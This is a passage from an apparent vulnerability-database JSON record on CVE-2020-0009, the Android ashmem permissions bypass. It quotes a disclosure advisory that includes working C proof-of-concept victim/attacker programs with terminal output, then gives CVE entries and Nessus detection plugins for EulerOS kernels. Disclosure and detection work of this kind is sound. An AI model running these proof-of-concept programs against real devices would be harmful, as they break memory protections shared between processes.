main(void) { \nint ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR); \nif (ashmem_fd == -1) \nerr(1, \\\"open ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000)) \nerr(1, \\\"ASHMEM_SET_SIZE\\\"); \nchar *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); \nif (mapping == MAP_FAILED) \nerr(1, \\\"mmap ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ)) \nerr(1, \\\"ASHMEM_SET_SIZE\\\"); \nmapping[0] = 'A'; \nprintf(\\\"mapping[0] = '%c'\\ \n\\\", mapping[0]); \n \nif (dup2(ashmem_fd, 42) != 42) \nerr(1, \\\"dup2\\\"); \npid_t child = fork(); \nif (child == -1) \nerr(1, \\\"fork\\\"); \nif (child == 0) { \nexecl(\\\"./ashmem_remap_attacker\\\", \\\"ashmem_remap_attacker\\\", NULL); \nerr(1, \\\"execl\\\"); \n} \nint status; \nif (wait(&status) != child) err(1, \\\"wait\\\"); \nprintf(\\\"mapping[0] = '%c'\\ \n\\\", mapping[0]); \n}user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c \n#define _GNU_SOURCE \n#include <unistd.h> \n#include <sys/mman.h> \n#include <err.h> \n#include <stdlib.h> \n#include <stdio.h> \n \nint main(void) { \nint ashmem_fd = 42; \n \n/* sanity check */ \nchar *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); \nif (write_mapping == MAP_FAILED) { \nperror(\\\"mmap ashmem writable failed as expected\\\"); \n} else { \nerrx(1, \\\"trivial mmap ashmem writable worked???\\\"); \n} \n \nchar *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0); \nif (mapping == MAP_FAILED) \nerr(1, \\\"mmap ashmem readonly failed\\\"); \n \nif (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0) \nerrx(1, \\\"mprotect ashmem writable worked???\\\"); \n \nif (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0)) \nerr(1, \\\"remap_file_pages\\\"); \n \nif (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE)) \nerr(1, \\\"mprotect ashmem writable failed, attack didn't work\\\"); \n \nmapping[0] = 'X'; \n \nputs(\\\"attacker exiting\\\"); \n}user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c \nuser@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c \nuser@vm:~/ashmem_remap$ ./ashmem_remap_victim \nmapping[0] = 'A' \nmmap ashmem writable failed as expected: Operation not permitted \nattacker exiting \nmapping[0] = 'X' \nuser@vm:~/ashmem_remap$ \n==================================================================== \n \nInterestingly, the (very much deprecated) syscall remap_file_pages() isn't even \nlisted in bionic's SYSCALLS.txt, which would normally cause it to be blocked by \nAndroid's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits \nit for 32-bit ARM applications: \n \n# b/36435222 \nint remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips \n \n \n \n \nashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately, \nthere is no access control for these - even if you only have read-only access to \nan ashmem file, you can still mark pages in it as purgable, causing them to \neffectively be zeroed out when the system is under memory pressure. Here's a \nsimple test for that (to be run in an X86 Linux VM): \n \n==================================================================== \nuser@vm:~/ashmem_purging$ cat ashmem_purge_victim.c \n#include <unistd.h> \n#include <stdlib.h> \n#include <fcntl.h> \n#include <err.h> \n#include <stdio.h> \n#include <sys/mman.h> \n#include <sys/ioctl.h> \n#include <sys/wait.h> \n \n#define __ASHMEMIOC 0x77 \n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) \n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) \n \nint main(void) { \nint ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR); \nif (ashmem_fd == -1) \nerr(1, \\\"open ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000)) \nerr(1, \\\"ASHMEM_SET_SIZE\\\"); \nchar *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); \nif (mapping == MAP_FAILED) \nerr(1, \\\"mmap ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ)) \nerr(1, \\\"ASHMEM_SET_SIZE\\\"); \nmapping[0] = 'A'; \nprintf(\\\"mapping[0] = '%c'\\ \n\\\", mapping[0]); \n \nif (dup2(ashmem_fd, 42) != 42) \nerr(1, \\\"dup2\\\"); \npid_t child = fork(); \nif (child == -1) \nerr(1, \\\"fork\\\"); \nif (child == 0) { \nexecl(\\\"./ashmem_purge_attacker\\\", \\\"ashmem_purge_attacker\\\", NULL); \nerr(1, \\\"execl\\\"); \n} \nint status; \nif (wait(&status) != child) err(1, \\\"wait\\\"); \nprintf(\\\"mapping[0] = '%c'\\ \n\\\", mapping[0]); \n} \nuser@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c \n#include <unistd.h> \n#include <stdlib.h> \n#include <fcntl.h> \n#include <err.h> \n#include <stdio.h> \n#include <sys/mman.h> \n#include <sys/ioctl.h> \n \nstruct ashmem_pin { \nunsigned int offset, len; \n}; \n \n#define __ASHMEMIOC 0x77 \n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) \n#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin) \n \nint main(void) { \nstruct ashmem_pin pin = { 0, 0 }; \nif (ioctl(42, ASHMEM_UNPIN, &pin)) \nerr(1, \\\"unpin 42\\\"); \n \n/* ensure that shrinker doesn't get skipped */ \nint ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR); \nif (ashmem_fd == -1) \nerr(1, \\\"open ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000)) \nerr(1, \\\"ASHMEM_SET_SIZE\\\"); \nchar *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); \nif (mapping == MAP_FAILED) \nerr(1, \\\"mmap ashmem\\\"); \nif (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin)) \nerr(1, \\\"unpin 42\\\"); \n \n/* simulate OOM */ \nsystem(\\\"sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'\\\"); \n \nputs(\\\"attacker exiting\\\"); \n} \nuser@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c \nuser@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c \nuser@vm:~/ashmem_purging$ ./ashmem_purge_victim \nmapping[0] = 'A' \nattacker exiting \nmapping[0] = '' \nuser@vm:~/ashmem_purging$ \n==================================================================== \n \n \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse \nor a patch has been made broadly available (whichever is earlier), the bug \nreport will become visible to the public. \n \nRelated CVE Numbers: CVE-2020-0009. \n \n \n \nFound by: jannh@google.com \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155903/GS20200110212900.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "ubuntucve": [{"lastseen": "2021-11-22T21:27:45", "description": "In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to\nshared memory due to a permissions bypass. This could lead to local\nescalation of privilege by corrupting memory shared between processes, with\nno additional execution privileges needed. User interaction is not needed\nfor exploitation. Product: Android Versions: Android kernel Android ID:\nA-142938932\n\n#### Notes\n\nAuthor| Note \n---|--- \n[cascardo](<https://launchpad.net/~cascardo>) | possible fix is 6d67b0290b4b84c477e6a2fc6e005e174d3c7786\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 5.5, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-01-08T00:00:00", "type": "ubuntucve", "title": "CVE-2020-0009", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-08T00:00:00", "id": "UB:CVE-2020-0009", "href": "https://ubuntu.com/security/CVE-2020-0009", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2022-03-23T11:28:35", "description": "In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-01-08T16:15:00", "type": "cve", "title": "CVE-2020-0009", "cwe": ["CWE-276"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0009"], "modified": "2020-06-10T13:15:00", "cpe": ["cpe:/o:google:android:-"], "id": "CVE-2020-0009", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-0009", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:o:google:android:-:*:*:*:*:*:*:*"]}], "nessus": [{"lastseen": "2022-04-21T17:05:21", "description": "According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932(CVE-2020-0009)\n\n - A flaw was found in the Linux kernel's implementation of Userspace core dumps. This flaw allows an attacker with a local account to crash a trivial program and exfiltrate private kernel data.(CVE-2020-10732)\n\n - An issue was discovered in the Linux kernel before 5.0.6. In rx_queue_add_kobject() and netdev_queue_add_kobject() in net/core/net-sysfs.c, a reference count is mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)\n\n - go7007_snd_init in drivers/media/usb/go7007/snd-go7007.c in the Linux kernel before 5.6 does not call snd_card_free for a failure path, which causes a memory leak, aka CID-9453264ef586.(CVE-2019-20810)\n\n - A flaw was found in the Linux kernels SELinux LSM hook implementation before version 5.7, where it incorrectly assumed that an skb would only contain a single netlink message. The hook would incorrectly only validate the first netlink message in the skb and allow or deny the rest of the messages within the skb with the granted permission without further processing.(CVE-2020-10751)\n\n - A signal access-control issue was discovered in the Linux kernel before 5.6.5, aka CID-7395ea4e65c2.\n Because exec_id in include/linux/sched.h is only 32 bits, an integer overflow can interfere with a do_notify_parent protection mechanism. A child process can send an arbitrary signal to a parent process in a different security domain. Exploitation limitations include the amount of elapsed time before an integer overflow occurs, and the lack of scenarios where signals to a parent process present a substantial operational threat.(CVE-2020-12826)\n\n - A NULL pointer dereference flaw was found in the Linux kernel's SELinux subsystem in versions before 5.7. This flaw occurs while importing the Commercial IP Security Option (CIPSO) protocol's category bitmap into the SELinux extensible bitmap via the' ebitmap_netlbl_import' routine. While processing the CIPSO restricted bitmap tag in the 'cipso_v4_parsetag_rbm' routine, it sets the security attribute to indicate that the category bitmap is present, even if it has not been allocated. This issue leads to a NULL pointer dereference issue while importing the same category bitmap into SELinux. This flaw allows a remote network user to crash the system kernel, resulting in a denial of service.(CVE-2020-10711)\n\n - gadget_dev_desc_UDC_store in drivers/usb/gadget/configfs.c in the Linux kernel through 5.6.13 relies on kstrdup without considering the possibility of an internal '\\0' value, which allows attackers to trigger an out-of-bounds read, aka CID-15753588bcd4.(CVE-2020-13143)\n\n - An issue was discovered in the Linux kernel through 5.6.11. sg_write lacks an sg_remove_request call in a certain failure case, aka CID-83c6f2390040.(CVE-2020-12770)\n\n - __btrfs_free_extent in fs/btrfs/extent-tree.c in the Linux kernel through 5.3.12 calls btrfs_print_leaf in a certain ENOENT case, which allows local users to obtain potentially sensitive information about register values via the dmesg program. NOTE: The BTRFS development team disputes this issues as not being a vulnerability because '1) The kernel provide facilities to restrict access to dmesg - dmesg_restrict=1 sysctl option. So it's really up to the system administrator to judge whether dmesg access shall be disallowed or not. 2) WARN/WARN_ON are widely used macros in the linux kernel. If this CVE is considered valid this would mean there are literally thousands CVE lurking in the kernel\n - something which clearly is not the case.'(CVE-2019-19039)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.7, "vector": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-09-02T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP5 : kernel (EulerOS-SA-2020-1920)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-19039", "CVE-2019-20810", "CVE-2019-20811", "CVE-2020-0009", "CVE-2020-10711", "CVE-2020-10732", "CVE-2020-10751", "CVE-2020-12770", "CVE-2020-12826", "CVE-2020-13143"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "p-cpe:/a:huawei:euleros:perf", "p-cpe:/a:huawei:euleros:python-perf", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2020-1920.NASL", "href": "https://www.tenable.com/plugins/nessus/140141", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(140141);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-19039\",\n \"CVE-2019-20810\",\n \"CVE-2019-20811\",\n \"CVE-2020-0009\",\n \"CVE-2020-10711\",\n \"CVE-2020-10732\",\n \"CVE-2020-10751\",\n \"CVE-2020-12770\",\n \"CVE-2020-12826\",\n \"CVE-2020-13143\"\n );\n\n script_name(english:\"EulerOS 2.0 SP5 : kernel (EulerOS-SA-2020-1920)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - In calc_vm_may_flags of ashmem.c, there is a possible\n arbitrary write to shared memory due to a permissions\n bypass. This could lead to local escalation of\n privilege by corrupting memory shared between\n processes, with no additional execution privileges\n needed. User interaction is not needed for\n exploitation. Product: Android Versions: Android kernel\n Android ID: A-142938932(CVE-2020-0009)\n\n - A flaw was found in the Linux kernel's implementation\n of Userspace core dumps. This flaw allows an attacker\n with a local account to crash a trivial program and\n exfiltrate private kernel data.(CVE-2020-10732)\n\n - An issue was discovered in the Linux kernel before\n 5.0.6. In rx_queue_add_kobject() and\n netdev_queue_add_kobject() in net/core/net-sysfs.c, a\n reference count is mishandled, aka\n CID-a3e23f719f5c.(CVE-2019-20811)\n\n - go7007_snd_init in\n drivers/media/usb/go7007/snd-go7007.c in the Linux\n kernel before 5.6 does not call snd_card_free for a\n failure path, which causes a memory leak, aka\n CID-9453264ef586.(CVE-2019-20810)\n\n - A flaw was found in the Linux kernels SELinux LSM hook\n implementation before version 5.7, where it incorrectly\n assumed that an skb would only contain a single netlink\n message. The hook would incorrectly only validate the\n first netlink message in the skb and allow or deny the\n rest of the messages within the skb with the granted\n permission without further processing.(CVE-2020-10751)\n\n - A signal access-control issue was discovered in the\n Linux kernel before 5.6.5, aka CID-7395ea4e65c2.\n Because exec_id in include/linux/sched.h is only 32\n bits, an integer overflow can interfere with a\n do_notify_parent protection mechanism. A child process\n can send an arbitrary signal to a parent process in a\n different security domain. Exploitation limitations\n include the amount of elapsed time before an integer\n overflow occurs, and the lack of scenarios where\n signals to a parent process present a substantial\n operational threat.(CVE-2020-12826)\n\n - A NULL pointer dereference flaw was found in the Linux\n kernel's SELinux subsystem in versions before 5.7. This\n flaw occurs while importing the Commercial IP Security\n Option (CIPSO) protocol's category bitmap into the\n SELinux extensible bitmap via the'\n ebitmap_netlbl_import' routine. While processing the\n CIPSO restricted bitmap tag in the\n 'cipso_v4_parsetag_rbm' routine, it sets the security\n attribute to indicate that the category bitmap is\n present, even if it has not been allocated. This issue\n leads to a NULL pointer dereference issue while\n importing the same category bitmap into SELinux. This\n flaw allows a remote network user to crash the system\n kernel, resulting in a denial of\n service.(CVE-2020-10711)\n\n - gadget_dev_desc_UDC_store in\n drivers/usb/gadget/configfs.c in the Linux kernel\n through 5.6.13 relies on kstrdup without considering\n the possibility of an internal '\\0' value, which allows\n attackers to trigger an out-of-bounds read, aka\n CID-15753588bcd4.(CVE-2020-13143)\n\n - An issue was discovered in the Linux kernel through\n 5.6.11. sg_write lacks an sg_remove_request call in a\n certain failure case, aka\n CID-83c6f2390040.(CVE-2020-12770)\n\n - __btrfs_free_extent in fs/btrfs/extent-tree.c in the\n Linux kernel through 5.3.12 calls btrfs_print_leaf in a\n certain ENOENT case, which allows local users to obtain\n potentially sensitive information about register values\n via the dmesg program. NOTE: The BTRFS development team\n disputes this issues as not being a vulnerability\n because '1) The kernel provide facilities to restrict\n access to dmesg - dmesg_restrict=1 sysctl option. So\n it's really up to the system administrator to judge\n whether dmesg access shall be disallowed or not. 2)\n WARN/WARN_ON are widely used macros in the linux\n kernel. If this CVE is considered valid this would mean\n there are literally thousands CVE lurking in the kernel\n - something which clearly is not the\n case.'(CVE-2019-19039)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1920\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?b3e29a06\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-12770\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/09/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/09/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(5)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"kernel-devel-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"kernel-headers-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"kernel-tools-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"kernel-tools-libs-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"perf-3.10.0-862.14.1.5.h458.eulerosv2r7\",\n \"python-perf-3.10.0-862.14.1.5.h458.eulerosv2r7\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"5\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-23T15:10:47", "description": "According to the versions of the kernel packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities :\n\n - btrfs_root_node in fs/btrfs/ctree.c in the Linux kernel through 5.3.12 allows a NULL pointer dereference because rcu_dereference(root->node) can be zero.(CVE-2019-19036)\n\n - An issue was discovered in the Linux kernel before 5.0.6. In rx_queue_add_kobject() and netdev_queue_add_kobject() in net/core/net-sysfs.c, a reference count is mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)\n\n - In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932(CVE-2020-0009)\n\n - ** DISPUTED ** An issue was discovered in the Linux kernel before 5.6. svm_cpu_uninit in arch/x86/kvm/svm.c has a memory leak, aka CID-d80b64ff297e. NOTE: third parties dispute this issue because it's a one-time leak at the boot, the size is negligible, and it can't be triggered at will.(CVE-2020-12768)\n\n - ** DISPUTED ** An issue was discovered in the Linux kernel through 5.7.1. drivers/tty/vt/keyboard.c has an integer overflow if k_ascii is called several times in a row, aka CID-b86dab054059. NOTE: Members in the community argue that the integer overflow does not lead to a security issue in this case.(CVE-2020-13974)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect in drivers/usb/misc/usbtest.c has a memory leak, aka CID-28ebeb8db770.(CVE-2020-15393)\n\n - A NULL pointer dereference flaw was found in the Linux kernel's SELinux subsystem in versions before 5.7. This flaw occurs while importing the Commercial IP Security Option (CIPSO) protocol's category bitmap into the SELinux extensible bitmap via the' ebitmap_netlbl_import' routine. While processing the CIPSO restricted bitmap tag in the 'cipso_v4_parsetag_rbm' routine, it sets the security attribute to indicate that the category bitmap is present, even if it has not been allocated. This issue leads to a NULL pointer dereference issue while importing the same category bitmap into SELinux. This flaw allows a remote network user to crash the system kernel, resulting in a denial of service( CVE-2020-10711)\n\n - A flaw was found in the Linux kernel's implementation of Userspace core dumps. This flaw allows an attacker with a local account to crash a trivial program and exfiltrate private kernel data.(CVE-2020-10732)\n\n - A flaw was found in the Linux kernels SELinux LSM hook implementation before version 5.7, where it incorrectly assumed that an skb would only contain a single netlink message. The hook would incorrectly only validate the first netlink message in the skb and allow or deny the rest of the messages within the skb with the granted permission without further processing.(CVE-2020-10751)\n\n - A buffer over-read flaw was found in RH kernel versions before 5.0 in crypto_authenc_extractkeys in crypto/authenc.c in the IPsec Cryptographic algorithm's module, authenc. When a payload longer than 4 bytes, and is not following 4-byte alignment boundary guidelines, it causes a buffer over-read threat, leading to a system crash. This flaw allows a local attacker with user privileges to cause a denial of service.(CVE-2020-10769)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the NFS server) can set incorrect permissions on new filesystem objects when the filesystem lacks ACL support, aka CID-22cf8419f131. This occurs because the current umask is not considered.(CVE-2020-24394)\n\n - The Linux kernel through 5.7.11 allows remote attackers to make observations that help to obtain sensitive information about the internal state of the network RNG, aka CID-f227e3ec3b5c. This is related to drivers/char/random.c and kernel/time/timer.c.(CVE-2020-16166)\n\n - A flaw was found in the Linux kernel's implementation of GRO in versions before 5.2. This flaw allows an attacker with local access to crash the system.(CVE-2020-10720)\n\n - In the Linux kernel through 5.8.7, local attackers able to inject conntrack netlink configuration could overflow a local buffer, causing crashes or triggering use of incorrect protocol numbers in ctnetlink_parse_tuple_filter in net/netfilter/nf_conntrack_netlink.c, aka CID-1cc5ef91d2ff.(CVE-2020-25211)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-11-06T00:00:00", "type": "nessus", "title": "EulerOS Virtualization 3.0.6.6 : kernel (EulerOS-SA-2020-2443)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-19036", "CVE-2019-20811", "CVE-2020-0009", "CVE-2020-10711", "CVE-2020-10720", "CVE-2020-10732", "CVE-2020-10751", "CVE-2020-10769", "CVE-2020-12768", "CVE-2020-13974", "CVE-2020-15393", "CVE-2020-16166", "CVE-2020-24394", "CVE-2020-25211"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "p-cpe:/a:huawei:euleros:kernel-tools-libs-devel", "p-cpe:/a:huawei:euleros:perf", "p-cpe:/a:huawei:euleros:python-perf", "cpe:/o:huawei:euleros:uvp:3.0.6.6"], "id": "EULEROS_SA-2020-2443.NASL", "href": "https://www.tenable.com/plugins/nessus/142576", "sourceData": 